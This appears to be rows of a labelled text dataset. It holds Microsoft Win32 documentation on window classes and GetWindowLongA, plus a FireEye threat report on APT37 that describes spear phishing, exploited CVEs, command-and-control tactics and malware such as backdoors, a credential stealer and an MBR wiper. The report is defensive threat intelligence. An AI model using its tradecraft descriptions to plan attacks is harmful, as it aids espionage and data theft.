information, see Using Window Classes. To register an application global class, specify the CS_GLOBALCLASS style in the style member of the WNDCLASSEX structure. When registering an application local class, do not specify the CS_GLOBALCLASS style. If you register the window class using the ANSI version of RegisterClassEx, RegisterClassExA, the application requests that the system pass text parameters of messages to the windows of the created class using the ANSI character set; if you register the class using the Unicode version of RegisterClassEx, RegisterClassExW, the application requests that the system pass text parameters of messages to the windows of the created class using the Unicode character set. The IsWindowUnicode function enables applications to query the nature of each window. For more information on ANSI and Unicode functions, see Conventions for Function Prototypes. The executable or DLL that registered the class is the owner of the class. The system determines class ownership from the hInstance member of the WNDCLASSEX structure passed to the RegisterClassEx function when the class is registered. For DLLs, the hInstance member must be the handle to the .dll instance. The class is not destroyed when the .dll that owns it is unloaded. Therefore, if the system calls the window procedure for a window of that class, it will cause an access violation, because the .dll containing the window procedure is no longer in memory. The process must destroy all windows using the class before the .dll is unloaded and call the UnregisterClass function. Elements of a Window Class The elements of a window class define the default behavior of windows belonging to the class. The application that registers a window class assigns elements to the class by setting appropriate members in a WNDCLASSEX structure and passing the structure to the RegisterClassEx function. The GetClassInfoEx and GetClassLong functions retrieve information about a given window class. The SetClassLong function changes elements of a local or global class that the application has already registered. Although a complete window class consists of many elements, the system requires only that an application supply a class name, the window-procedure address, and an instance handle. Use the other elements to define default attributes for windows of the class, such as the shape of the cursor and the content of the menu for the window. You must initialize any unused members of the WNDCLASSEX structure to zero or NULL. The window class elements are as shown in the following table. Element Purpose Class Name Distinguishes the class from other registered classes. Window Procedure Address Pointer to the function that processes all messages sent to windows in the class and defines the behavior of the window. Instance Handle Identifies the application or .dll that registered the class. Class Cursor Defines the mouse cursor that the system displays for a window of the class. Class Icons Defines the large icon and the small icon. Class Background Brush Defines the color and pattern that fill the client area when the window is opened or painted. Class Menu Specifies the default menu for windows that do not explicitly define a menu. Class Styles Defines how to update the window after moving or resizing it, how to process double-clicks of the mouse, how to allocate space for the device context, and other aspects of the window. Extra Class Memory Specifies the amount of extra memory, in bytes, that the system should reserve for the class. All windows in the class share the extra memory and can use it for any application-defined purpose. The system initializes this memory to zero. Extra Window Memory Specifies the amount of extra memory, in bytes, that the system should reserve for each window belonging to the class. The extra memory can be used for any application-defined purpose. The system initializes this memory to zero. \xc2 Class Name Every window class needs a Class Name to distinguish one class from another. Assign a class name by setting the lpszClassName member of the WNDCLASSEX structure to the address of a null-terminated string that specifies the name. Because window classes are process specific, window class names need to be unique only within the same process. Also, because class names occupy space in the system's private atom table, you should keep class name strings as short a possible. The GetClassName function retrieves the name of the class to which a given window belongs. Window Procedure Address Every class needs a window-procedure address to define the entry point of the window procedure used to process all messages for windows in the class. The system passes messages to the procedure when it requires the window to carry out tasks, such as painting its client area or responding to input from the user. A process assigns a window procedure to a class by copying its address to the lpfnWndProc member of the WNDCLASSEX structure. For more information, see Window Procedures. Instance Handle Every window class requires an instance handle to identify the application or .dll that registered the class. The system requires instance handles to keep track of all of modules. The system assigns a handle to each copy of a running executable or .dll. The system passes an instance handle to the entry-point function of each executable (see WinMain) and .dll (see DllMain). The executable or .dll assigns this instance handle to the class by copying it to the hInstance member of the WNDCLASSEX structure. Class Cursor The class cursor defines the shape of the cursor when it is in the client area of a window in the class. The system automatically sets the cursor to the given shape when the cursor enters the window's client area and ensures it keeps that shape while it remains in the client area. To assign a cursor shape to a window class, load a predefined cursor shape by using the LoadCursor function and then assign the returned cursor handle to the hCursor member of the WNDCLASSEX structure. Alternatively, provide a custom cursor resource and use the LoadCursor function to load it from the application's resources. The system does not require a class cursor. If an application sets the hCursor member of the WNDCLASSEX structure to NULL, no class cursor is defined. The system assumes the window sets the cursor shape each time the cursor moves into the window. A window can set the cursor shape by calling the SetCursor function whenever the window receives the WM_MOUSEMOVE message. For more information about cursors, see Cursors. Class Icons A class icon is a picture that the system uses to represent a window of a particular class. An application can have two class icons\xe2\x80\x94one large and one small. The system displays a window's large class icon in the task-switch window that appears when the user presses ALT+TAB, and in the large icon views of the task bar and explorer. The small class icon appears in a window's title bar and in the small icon views of the task bar and explorer. To assign a large and small icon to a window class, specify the handles of the icons in the hIcon and hIconSm members of the WNDCLASSEX structure. The icon dimensions must conform to required dimensions for large and small class icons. For a large class icon, you can determine the required dimensions by specifying the SM_CXICON and SM_CYICON values in a call to the GetSystemMetrics function. For a small class icon, specify the SM_CXSMICON and SM_CYSMICON values. For information, see Icons. If an application sets the hIcon and hIconSm members of the WNDCLASSEX structure to NULL, the system uses the default application icon as the large and small class icons for the window class. If you specify a large class icon but not a small one, the system creates a small class icon based on the large one. However, if you specify a small class icon but not a large one, the system uses the default application icon as the large class icon and the specified icon as the small class icon. You can override the large or small class icon for a particular window by using the WM_SETICON message. You can retrieve the current large or small class icon by using the WM_GETICON message. Class Background Brush A class background brush prepares the client area of a window for subsequent drawing by the application. The system uses the brush to fill the client area with a solid color or pattern, thereby removing all previous images from that location whether they belong to the window or not. The system notifies a window that its background should be painted by sending the WM_ERASEBKGND message to the window. For more information, see Brushes. To assign a background brush to a class, create a brush by using the appropriate GDI functions and assign the returned brush handle to the hbrBackground member of the WNDCLASSEX structure. Instead of creating a brush, an application can set the hbrBackground member to one of the standard system color values. For a list of the standard system color values, see SetSysColors. To use a standard system color, the application must increase the background-color value by one. For example, COLOR_BACKGROUND + 1 is the system background color. Alternatively, you can use the GetSysColorBrush function to retrieve a handle to a brush that corresponds to a standard system color, and then specify the handle in the hbrBackground member of the WNDCLASSEX structure. The system does not require that a window class have a class background brush. If this parameter is set to NULL, the window must paint its own background whenever it receives the WM_ERASEBKGND message. Class Menu A class menu defines the default menu to be used by the windows in the class if no explicit menu is given when the windows are created. A menu is a list of commands from which a user can choose actions for the application to carry out. You can assign a menu to a class by setting the lpszMenuName member of the WNDCLASSEX structure to the address of a null-terminated string that specifies the resource name of the menu. The menu is assumed to be a resource in the given application. The system automatically loads the menu when it is needed. If the menu resource is identified by an integer and not by a name, the application can set the lpszMenuName member to that integer by applying the MAKEINTRESOURCE macro before assigning the value. The system does not require a class menu. If an application sets the lpszMenuName member of the WNDCLASSEX structure to NULL, windows in the class have no menu bars. Even if no class menu is given, an application can still define a menu bar for a window when it creates the window. If a menu is given for a class and a child window of that class is created, the menu is ignored. For more information, see Menus. Class Styles The class styles define additional elements of the window class. Two or more styles can be combined by using the bitwise OR (|) operator. To assign a style to a window class, assign the style to the style member of the WNDCLASSEX structure. For a list of class styles, see Window Class Styles. Classes and Device Contexts A device context is a special set of values that applications use for drawing in the client area of their windows. The system requires a device context for each window on the display but allows some flexibility in how the system stores and treats that device context. If no device-context style is explicitly given, the system assumes each window uses a device context retrieved from a pool of contexts maintained by the system. In such cases, each window must retrieve and initialize the device context before painting and free it after painting. To avoid retrieving a device context each time it needs to paint inside a window, an application can specify the CS_OWNDC style for the window class. This class style directs the system to create a private device context\xe2\x80\x94that is, to allocate a unique device context for each window in the class. The application need only retrieve the context once and then use it for all subsequent painting. Extra Class Memory The system maintains a WNDCLASSEX structure internally for each window class in the system. When an application registers a window class, it can direct the system to allocate and append a number of additional bytes of memory to the end of the WNDCLASSEX structure. This memory is called extra class memory and is shared by all windows belonging to the class. Use the extra class memory to store any information pertaining to the class. Because extra memory is allocated from the system's local heap, an application should use extra class memory sparingly. The RegisterClassEx function fails if the amount of extra class memory requested is greater than 40 bytes. If an application requires more than 40 bytes, it should allocate its own memory and store a pointer to the memory in the extra class memory. The SetClassWord and SetClassLong functions copy a value to the extra class memory. To retrieve a value from the extra class memory, use the GetClassWord and GetClassLong functions. The cbClsExtra member of the WNDCLASSEX structure specifies the amount of extra class memory to allocate. An application that does not use extra class memory must initialize the cbClsExtra member to zero. Extra Window Memory The system maintains an internal data structure for each window. When registering a window class, an application can specify a number of additional bytes of memory, called extra window memory. When creating a window of the class, the system allocates and appends the specified amount of extra window memory to the end of the window's structure. An application can use this memory to store window-specific data. Because extra memory is allocated from the system's local heap, an application should use extra window memory sparingly. The RegisterClassEx function fails if the amount of extra window memory requested is greater than 40 bytes. If an application requires more than 40 bytes, it should allocate its own memory and store a pointer to the memory in the extra window memory. The SetWindowLong function copies a value to the extra memory. The GetWindowLong function retrieves a value from the extra memory. The cbWndExtra member of the WNDCLASSEX structure specifies the amount of extra window memory to allocate. An application that does not use the memory must initialize cbWndExtra to zero. \xc2 \xc2 Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","0","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"The Overlooked North Korean Actor SPECIAL REPORT PY APT37 (REAPER) CONTENTS Introduction 3 Targeting and Mission 4 Initial Infection Vectors 7 Exploited Vulnerabilities 8 Command and Control Infrastructure 9 Malware 10 Attribution 12 Outlook and Implications 13 Appendix: Malware Used by APT37 14 INTRODUCTION On Feb. 2, 2018, we published a blog detailing the use of an Adobe Flash zero-day vulnerability (CVE-2018-4878) by a suspected North Korean cyber espionage group that we now track as APT37 (Reaper). Recent examination of this group\xe2\x80\x99s activities by FireEye iSIGHT Intelligence reveals APT37 has expanded its operations in both scope and sophistication. APT37\xe2\x80\x99s toolset, which includes access to zero-day vulnerabilities and wiper malware, combined with heightened tensions in Northeast Asia and North Korea\xe2\x80\x99s penchant for norm breaking, means this group should be taken seriously. We assess with high confidence that this activity is carried out on behalf of the North Korean government given malware development artifacts and targeting that aligns with North Korean state interests. FireEye iSIGHT Intelligence believes that APT37 is aligned with the activity publicly reported as Scarcruft and Group123. SPECIAL REPORT2 APT37 (REAPER): THE OVERLOOKED NORTH KOREAN ACTOR 3 We judge that APT37\xe2\x80\x99s primary mission is covert intelligence gathering in support of North Korea\xe2\x80\x99s strategic military, political and economic interests. This is based on consistent targeting of South Korean public and private entities and social engineering. APT37\xe2\x80\x99s recently expanded targeting scope also appears to have direct relevance to North Korea\xe2\x80\x99s strategic interests. From 2014 to 2017, APT37 targeting concentrated primarily on the South Korean government, military, defense industrial base, and media sector. Lure materials (Fig. 2) typically leveraged the Korean language and featured themes such as Korean peninsula reunification or sanctions. Figure 2. \xe2\x80\x9c2016 Korean Reunification Conference Form\xe2\x80\x9d (MD5:183be2035d5a546670d2b9deeca4eb59). APT37 has likely been active since at least 2012 and focuses on targeting the public and private sectors primarily in South Korea. In 2017, APT37 expanded its targeting beyond the Korean peninsula to include Japan, Vietnam and the Middle East, and to a wider range of industry verticals, including chemicals, electronics, manufacturing, aerospace, automotive and healthcare entities (Fig. 1). Targeting and Mission Figure 1. APT37 Targeting Scope. SPECIAL REPORT4 5APT37 (REAPER): THE OVERLOOKED NORTH KOREAN ACTOR APT37 targeted a research fellow, advisory member, and journalist associated with different North Korean human rights issues and strategic organizations. It also targeted an entity in Japan associated with the United Nations missions on sanctions and human rights. APT37 distributed SLOWDRIFT malware using a lure referencing the Korea Global Forum against academic and strategic institutions located in South Korea. Notably, the email was sent from a compromised South Korean institute that conducts studies on North Korea. The string \xe2\x80\x9cdurihana,\xe2\x80\x9d which is also the name of a Christian missionary organization that works with North Korean defectors, was included in an APT37 weaponized document sent to an individual who works with a North Korean human rights organization. In 2017, APT37 targeted a Middle Eastern company that entered into a joint venture with the North Korean government to provide telecommunications service to the country (read on for a case study). At that time, other targets included individuals involved in international affairs and trade issues, the general director of a Vietnamese international trading and transport company, and possibly individuals working with Olympics organizations assisting in securing resources for athletes. North Korean defector and human rights-related targeting provides further evidence that APT37 conducts operations aligned with the interests of North Korea. In May 2017, APT37 used a bank liquidation letter as a spear phishing lure against a board member of a Middle Eastern financial company. The specially crafted email included an attachment containing exploit code for CVE-2017- 0199, a vulnerability in Microsoft Office that had been disclosed just a month earlier. Once opened, the malicious document communicated with a compromised website, most likely to surreptitiously download and install a backdoor called SHUTTERSPEED (MD5: 7c2ebfc7960aac6f8d58b37e3f092a9c). The tool would enable APT37 to collect system information, take screenshots and download additional malicious files to the victim computer. CASE STUDY: Targeting of Middle Eastern Organization with Business ties to North Korea We believe a Middle Eastern organization was targeted by APT37 because it had been involved with a North Korean company and a business deal went bad. This firm was targeted shortly after media reports of this schism had gone public. The targeting effort may have been an attempt by the North Korean government to gather information on a former business partner. The operation exemplifies APT37\xe2\x80\x99s tactics, techniques and procedures (TTPs), and reflects the advanced capabilities of this espionage group. Initial Infection Vectors In addition to the aforementioned spear phishing tactics, APT37 leverages a variety of methods to deliver malware. These include strategic web compromises typical of targeted cyber espionage operations, as well as the use of torrent file-sharing sites to distribute malware more indiscriminately. Numerous campaigns have employed social engineering tactics tailored specifically to desired targets. Lures and websites of particular interest to South Korean organizations (e.g. reunification) are regularly leveraged in campaigns. Multiple South Korean websites were abused in strategic web compromises to deliver newer variants of KARAE and POORAIM malware. Identified sites included South Korean conservative media and a news site for North Korean refugees and defectors. In one instance, APT37 weaponized a video downloader application with KARAE malware that was indiscriminately distributed to South Korean victims through torrent websites. \xe2\x80\x9cThe GDPR will change \xe2\x80\xa6 the whole world as we know it.\xe2\x80\x9d SPECIAL REPORT6 7APT37 (REAPER): THE OVERLOOKED NORTH KOREAN ACTOR FEB JAN DEC NOV OCT SEP AUG JUL JUN MAY APR MAR FEB JAN DEC NOV OCT SEP AUG JUL JUN MAY APR MAR FEB JAN DEC NOV OCT SEP AUG JUL JUN MAY APR MAR FEB JAN DEC NOV OCT SEP AUG JUL JUN MAY APR MAR FEB JAN 2018 2017 2016 2015 2014 CVE-2018-4878 (Zero-day vulnerability) CVE-2017-0199 CVE-2013-4979 CVE-2013-4979 CVE-2015-2387 CVE-2015-2545 CVE-2015-7645 CVE-2015-5122 CVE-2016-4117 CVE-2014-8439 CVE-2016-1019 CVE-2015-5119 CVE-2015-2419 CVE-2015-3105 CVE Release Date Exploit Figure 3. Timeline of CVE Release Dates vs. Dates of APT37 CVE Exploitation. Exploited Vulnerabilities APT37 frequently exploits vulnerabilities in Hangul Word Processor (HWP) due to the software\xe2\x80\x99s prevalence in South Korea. Further, the group recently demonstrated access to zero-day vulnerabilities (CVE-2018-0802) and has the flexibility to quickly incorporate recently publicized vulnerabilities into spear phishing and strategic web compromise operations. These capabilities suggest a high operational tempo and specialized expertise. APT37 has repeatedly deployed exploits, especially in Flash, quickly after vulnerabilities are initially publicized (see Table 1). CVE-2016-4117, CVE- 2016-1019 and CVE-2015-3043 were all exploited by APT37 in this way. FireEye iSIGHT Intelligence confirmed that since at least November 2017, APT37 exploited a zero-day Adobe Flash vulnerability, CVE-2018-4878, to distribute DOGCALL malware to South Korean victims. While use and discovery of zero-day exploits over the past several years has expanded beyond a nation-state dominated environment to include commercial vendors of cyber espionage capabilities and sophisticated financially motivated actors, access to zero-day exploits remains a factor in distinguishing sophisticated or well-resourced actors. Figure 3 details the vulnerabilities exploited by APT37, comparing the time of exploitation to the time the CVE was released. Command and Control Infrastructure APT37 uses a variety of techniques for command and control. They leverage compromised servers, messaging platforms and cloud service providers to avoid detection. The group often relies on compromised sites to host second stage malware payloads. Over time, APT37 has changed the email providers to set up command and control accounts in a possible attempt to cover their tracks and cause misdirection. These tactics have been refined over the years as APT37 evolves to evade network defenders. APT37 has used various legitimate platforms as command and control for its malware tools. While some early campaigns leveraged POORAIM, which abused AOL Instant Messenger, newer activity deploys DOGCALL, which uses cloud storage APIs such as pCloud and Dropbox. APT37 relies on compromised websites to host second stage malware. Small websites focused on subjects such as aromatherapy and scuba diving have been leveraged, and were most likely compromised opportunistically and made to host malicious payloads. APT37 has improved its operational security over time. For example, early 2015 use of SLOWDRIFT involved credentials associated with Korea related mail servers such as \xe2\x80\x9cDaum.net\xe2\x80\x9d. Later, in 2015 and early 2016, APT37 pivoted to different email providers such as Gmail and \xe2\x80\x9chmamail.com\xe2\x80\x9d in an attempt to anonymize activity. Then from mid-2016 onward, APT37 began using @yandex.com and @ india.com email accounts -- possibly an attempt to cause misattribution. SPECIAL REPORT8 9APT37 (REAPER): THE OVERLOOKED NORTH KOREAN ACTOR APT37 employs a diverse suite of malware for initial intrusion and exfiltration. Their malware is characterized by a focus on stealing information from victims, with many set up to automatically exfiltrate data of interest. Figure 4 shows APT37\xe2\x80\x99s malware usage over time. A full breakdown of the malware we associate with APT37, along with how it is detected by FireEye devices, is available in the Appendix. Malware 2015 2016 2017 2018 JAN FEB MAR APR MAY JUN JUL AUG SEP OCT NOV DEC JAN FEB MAR APR MAY JUN JUL AUG SEP OCT NOV DEC JAN FEB MAR APR MAY JUN JUL AUG SEP OCT NOV DEC JAN KARAE SOUNDWAVE ZUMKONG RICECURRY CORALDECK POORAIM SLOWDRIFT MILKDROP GELCAPSULE DOGCALL HAPPYWORK RUHAPPY SHUTTERSPEED WINERACK Figure 4. Timeline of APT37 Malware Use By First and Last Observed Compile Times. Along with custom malware used for espionage purposes, APT37 also has access to destructive malware. In April 2017, APT37 targeted South Korean military and government organizations with the DOGCALL backdoor and RUHAPPY wiper malware. Although the wiper capability was not used in the identified instance, RUHAPPY can overwrite a machine's Master Boot Record (MBR), causing the system to fail to boot into preconfigured partitions. It is possible that APT37\xe2\x80\x99s distribution of KARAE malware via torrent websites could assist in creating and maintaining botnets for future distributed denial-of-service (DDoS) attacks, or for other activity such as financially motivated campaigns or disruptive operations. Disruptive and destructive cyber threat activity, including the use of wiper malware, public leaks of proprietary materials by false hacktivist personas, DDoS attacks and electronic warfare tactics such as GPS signal jamming is consistent with past behavior by other North Korean actors. SPECIAL REPORT10 11APT37 (REAPER): THE OVERLOOKED NORTH KOREAN ACTOR Attribution Outlook and Implications North Korea has repeatedly demonstrated a willingness to leverage its cyber capabilities for a variety of purposes, undeterred by notional redlines and international norms. Though they have primarily tapped other tracked suspected North Korean teams to carry out the most aggressive actions, APT37 is an additional tool available to the regime, perhaps even desirable for its relative obscurity. We anticipate APT37 will be leveraged more and more in previously unfamiliar roles and regions, especially as pressure mounts on their sponsor. The slow transformation of regional actors into global threats is well established. Minor incidents in Ukraine, the Middle East and South Korea have heralded the threats, which are now impossible to ignore. In some cases, the global economy connects organizations to aggressive regional actors. In other cases, a growing mandate draws the actor on to the international stage. Ignored, these threats enjoy the benefit of surprise, allowing them to extract significant losses on their victims, many of whom have never previously heard of the actor. 12 a.m. 1 a.m. 2 a.m 3 a.m 4 a.m 5 a.m 6 a.m 7 a.m 8 a.m 9 a.m. 10 a.m 11 a.m. 12 p.m. 1 p.m. 2 p.m. 3 p.m. 4 p.m. 5 p.m. 6 p.m. 7 p.m. 8 p.m. 9 p.m. 10 p.m. 11 p.m. Frequency Figure 5. APT37 Compile Times Against Local Time in North Korea. \xe2\x80\xa2 An individual we believe to be the developer behind several APT37 malware payloads inadvertently disclosed personal data showing that the actor was operating from an IP address and access point associated with North Korea. \xe2\x80\xa2 The compilation times of APT37 malware is consistent with a developer operating in the North Korea time zone (UTC +8:30) and follows what is believed to be a typical North Korean workday (Fig. 5). The majority of malware compilation times occurred between 10:00 a.m. and 7:00 p.m., with We assess with high confidence that APT37 acts in support of the North Korean government and is primarily based in North Korea. This assessment is based on multiple factors, including APT37\xe2\x80\x99s targeting profile, insight into the group\xe2\x80\x99s malware development and probable links to a North Korean individual believed to be the developer of several of APT37\xe2\x80\x99s proprietary malware families: a dip around noon. Additional activity occurred late into the evening. This is consistent with media reporting of extremely long hours for North Korean workers. \xe2\x80\xa2 The majority of APT37 activity continues to target South Korea, North Korean defectors, and organizations and individuals involved in Korean Peninsula reunification efforts. Similarly, APT37 targeting of a Middle Eastern company in 2017 is also consistent with North Korean objectives given the entity\xe2\x80\x99s extensive relationships inside North Korea. SPECIAL REPORT12 13APT37 (REAPER): THE OVERLOOKED NORTH KOREAN ACTOR SPECIAL REPORT14 15APT37 (REAPER): THE OVERLOOKED NORTH KOREAN ACTOR Appendix: Malware Used by APT37 Malware Description Detected as CORALDECK CORALDECK is an exfiltration tool that searches for specified files and exfiltrates them in password protected archives using hardcoded HTTP POST headers. CORALDECK has been observed dropping and using Winrar to exfiltrate data in password protected RAR files as well as WinImage and zip archives. APT.InfoStealer.Win.CORALDECK FE_APT_InfoStealer_Win_ CORALDECK_1 DOGCALL DOGCALL is a backdoor commonly distributed as an encoded binary file downloaded and decrypted by shellcode following the exploitation of weaponized documents. DOGCALL is capable of capturing screenshots, logging keystrokes, evading analysis with anti-virtual machine detections, and leveraging cloud storage APIs such as Cloud, Box, Dropbox, and Yandex. DOGCALL was used to target South Korean Government and military organizations in March and April 2017. The malware is typically dropped using an HWP exploit in a lure document. The wiper tool, RUHAPPY, was found on some of the systems targeted by DOGCALL. While DOGCALL is primarily an espionage tool, RUHAPPY is a destructive wiper tool meant to render systems inoperable. FE_APT_RAT_DOGCALL FE_APT_Backdoor_Win32_ DOGCALL_1 APT.Backdoor.Win.DOGCALL GELCAPSULE GELCAPSULE is a downloader traditionally dropped or downloaded by an exploit document. GELCAPSULE has been observed downloading SLOWDRIFT to victim systems. FE_APT_Downloader_Win32_ GELCAPSULE_1 HAPPYWORK HAPPYWORK is a malicious downloader that can download and execute a second-stage payload, collect system information, and beacon it to the command and control domains. The collected system information includes: computer name, user name, system manufacturer via registry, IsDebuggerPresent state, and execution path. In November 2016, HAPPYWORK targeted government and financial targets in South Korea. FE_APT_Downloader_ HAPPYWORK FE_APT_Exploit_HWP_Happy Downloader.APT.HAPPYWORK KARAE Karae backdoors are typically used as first-stage malware after an initial compromise. The backdoors can collect system information, upload and download files, and may be used to retrieve a second- stage payload. The malware uses public cloud-based storage providers for command and control. In March 2016, KARAE malware was distributed through torrent file-sharing websites for South Korean users. During this campaign, the malware used a YouTube video downloader application as a lure. FE_APT_Backdoor_Karae_enc FE_APT_Backdoor_Karae Backdoor.APT.Karae Malware Description Detected as MILKDROP MILKDROP is a launcher that sets a persistence registry key and launches a backdoor. FE_Trojan_Win32_MILKDROP_1 POORAIM POORAIM malware is designed with basic backdoor functionality and leverages AOL Instant Messenger for command and control communications. POORAIM includes the following capabilities: System information enumeration, File browsing, manipulation and exfiltration, Process enumeration, Screen capture, File execution, Exfiltration of browser favorites, and battery status. Exfiltrated data is sent via files over AIM. POORAIM has been involved in campaigns against South Korean media organizations and sites relating to North Korean refugees and defectors since early 2014. Compromised sites have acted as watering holes to deliver newer variants of POORAIM. Backdoor.APT.POORAIM RICECURRY RICECURRY is a Javascript based profiler used to fingerprint a victim's web browser and deliver malicious code in return. Browser, operating system, and Adobe Flash version are detected by RICECURRY, which may be a modified version of PluginDetect. Exploit.APT.RICECURRY RUHAPPY RUHAPPY is a destructive wiper tool seen on systems targeted by DOGCALL. It attempts to overwrite the MBR, causing the system not to boot. When victims' systems attempt to boot, the string ""Are you Happy?"" is displayed. The malware is believed to be tied to the developers of DOGCALL and HAPPYWORK based on similar PDB paths in all three. FE_APT_Trojan_Win32_RUHAPPY_1 SHUTTERSPEED SHUTTERSPEED is a backdoor that can collect system information, acquire screenshots, and download/execute an arbitrary executable. SHUTTERSPEED typically requires an argument at runtime in order to execute fully. Observed arguments used by SHUTTERSPEED include: 'help', 'console', and 'sample'. The spear phishing email messages contained documents exploiting RTF vulnerability CVE-2017-0199. Many of the compromised domains in the command and control infrastructure are linked to South Korean companies. Most of these domains host a fake webpage pertinent to targets. FE_APT_Backdoor_SHUTTERSPEED APT.Backdoor.SHUTTERSPEED APT.Backdoor.SHUTTERSPEED Malware Description Detected as SLOWDRIFT SLOWDRIFT is a launcher that communicates via cloud based infrastructure. It sends system information to the attacker command and control and then downloads and executes additional payloads. Lure documents distributing SLOWDRIFT were not tailored for specific victims, suggesting that TEMP.Reaper is attempting to widen its target base across multiple industries and in the private sector. SLOWDRIFT was seen being deployed against academic and strategic targets in South Korea using lure emails with documents leveraging the HWP exploit. Recent SLOWDRIFT samples were uncovered in June 2017 with lure documents pertaining to cyber crime prevention and news stories. These documents were last updated by the same actor who developed KARAE, POORAIM and ZUMKONG. FE_APT_Downloader_Win_ SLOWDRIFT_1 FE_APT_Downloader_Win_ SLOWDRIFT_2 APT.Downloader.SLOWDRIFT SOUNDWAVE SOUNDWAVE is a windows based audio capturing utility. Via command line it accepts the -l switch (for listen probably), captures microphone input for 100 minutes, writing the data out to a log file in this format: C:\\Temp\\HncDownload\\ YYYYMMDDHHMMSS.log. FE_APT_HackTool_Win32_ SOUNDWAVE_1 ZUMKONG ZUMKONG is a credential stealer capable of harvesting usernames and passwords stored by Internet Explorer and Chrome browsers. Stolen credentials are emailed to the attacker via HTTP POST requests to mail[.]zmail[.]ru. FE_APT_Trojan_Zumkong Trojan.APT.Zumkong WINERACK WINERACK is backdoor whose primary features include user and host information gathering, process creation and termination, filesystem and registry manipulation, as well as the creation of a reverse shell that utilizes statically-linked Wine cmd.exe code to emulate Windows command prompt commands. Other capabilities include the enumeration of files, directories, services, active windows and processes. FE_APT_Backdoor_WINERACK Backdoor.APT.WINERACK FireEye, Inc. 601 McCarthy Blvd. Milpitas, CA 95035 408.321.6300 877 FIREEYE (347.3393) info@FireEye.com www.FireEye.com FireEye, Inc \xc2\xa9 2018 FireEye, Inc. All rights reserved. FireEye is a registered trademark of FireEye, Inc. All other brands, products, or service names are or may be trademarks or service marks of their respective owners. SP.APT37.EN-US.22018","1","1","1","1","0","1","1","1","1","1","1","1","0","0","0","1","0","0","1","1","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","1","0","0","0","1","1","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","1","0","0","1","0","1","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","1","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","1","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0" -"GetWindowLongA function (winuser.h) | Microsoft Docs Skip to main content Contents Exit focus mode Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents GetWindowLongA function 12/05/2018 2 minutes to read In this article Retrieves information about the specified window. The function also retrieves the 32-bit (DWORD) value at the specified offset into the extra window memory. Note\xc2 \xc2 If you are retrieving a pointer or a handle, this function has been superseded by the GetWindowLongPtr function. (Pointers and handles are 32 bits on 32-bit Windows and 64 bits on 64-bit Windows.) To write code that is compatible with both 32-bit and 64-bit versions of Windows, use GetWindowLongPtr. \xc2 Syntax LONG GetWindowLongA( HWND hWnd, int nIndex ); Parameters hWnd Type: HWND A handle to the window and, indirectly, the class to which the window belongs. nIndex Type: int The zero-based offset to the value to be retrieved. Valid values are in the range zero through the number of bytes of extra window memory, minus four; for example, if you specified 12 or more bytes of extra memory, a value of 8 would be an index to the third 32-bit integer. To retrieve any other value, specify one of the following values. Value Meaning GWL_EXSTYLE -20 Retrieves the extended window styles. GWL_HINSTANCE -6 Retrieves a handle to the application instance. GWL_HWNDPARENT -8 Retrieves a handle to the parent window, if any. GWL_ID -12 Retrieves the identifier of the window. GWL_STYLE -16 Retrieves the window styles. GWL_USERDATA -21 Retrieves the user data associated with the window. This data is intended for use by the application that created the window. Its value is initially zero. GWL_WNDPROC -4 Retrieves the address of the window procedure, or a handle representing the address of the window procedure. You must use the CallWindowProc function to call the window procedure. \xc2 The following values are also available when the hWnd parameter identifies a dialog box. Value Meaning DWL_DLGPROC DWLP_MSGRESULT + sizeof(LRESULT) Retrieves the address of the dialog box procedure, or a handle representing the address of the dialog box procedure. You must use the CallWindowProc function to call the dialog box procedure. DWL_MSGRESULT 0 Retrieves the return value of a message processed in the dialog box procedure. DWL_USER DWLP_DLGPROC + sizeof(DLGPROC) Retrieves extra information private to the application, such as handles or pointers. Return Value Type: Type: LONG If the function succeeds, the return value is the requested value. If the function fails, the return value is zero. To get extended error information, call GetLastError. If SetWindowLong has not been called previously, GetWindowLong returns zero for values in the extra window or class memory. Remarks Reserve extra window memory by specifying a nonzero value in the cbWndExtra member of the WNDCLASSEX structure used with the RegisterClassEx function. Examples For an example, see Creating, Enumerating, and Sizing Child Windows. Requirements \xc2 \xc2 Minimum supported client Windows\xc2 2000 Professional [desktop apps only] Minimum supported server Windows\xc2 2000 Server [desktop apps only] Target Platform Windows Header winuser.h (include Windows.h) Library User32.lib DLL User32.dll See Also CallWindowProc Conceptual GetWindowLongPtr Reference RegisterClassEx SetParent SetWindowLong WNDCLASS Window Classes Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use 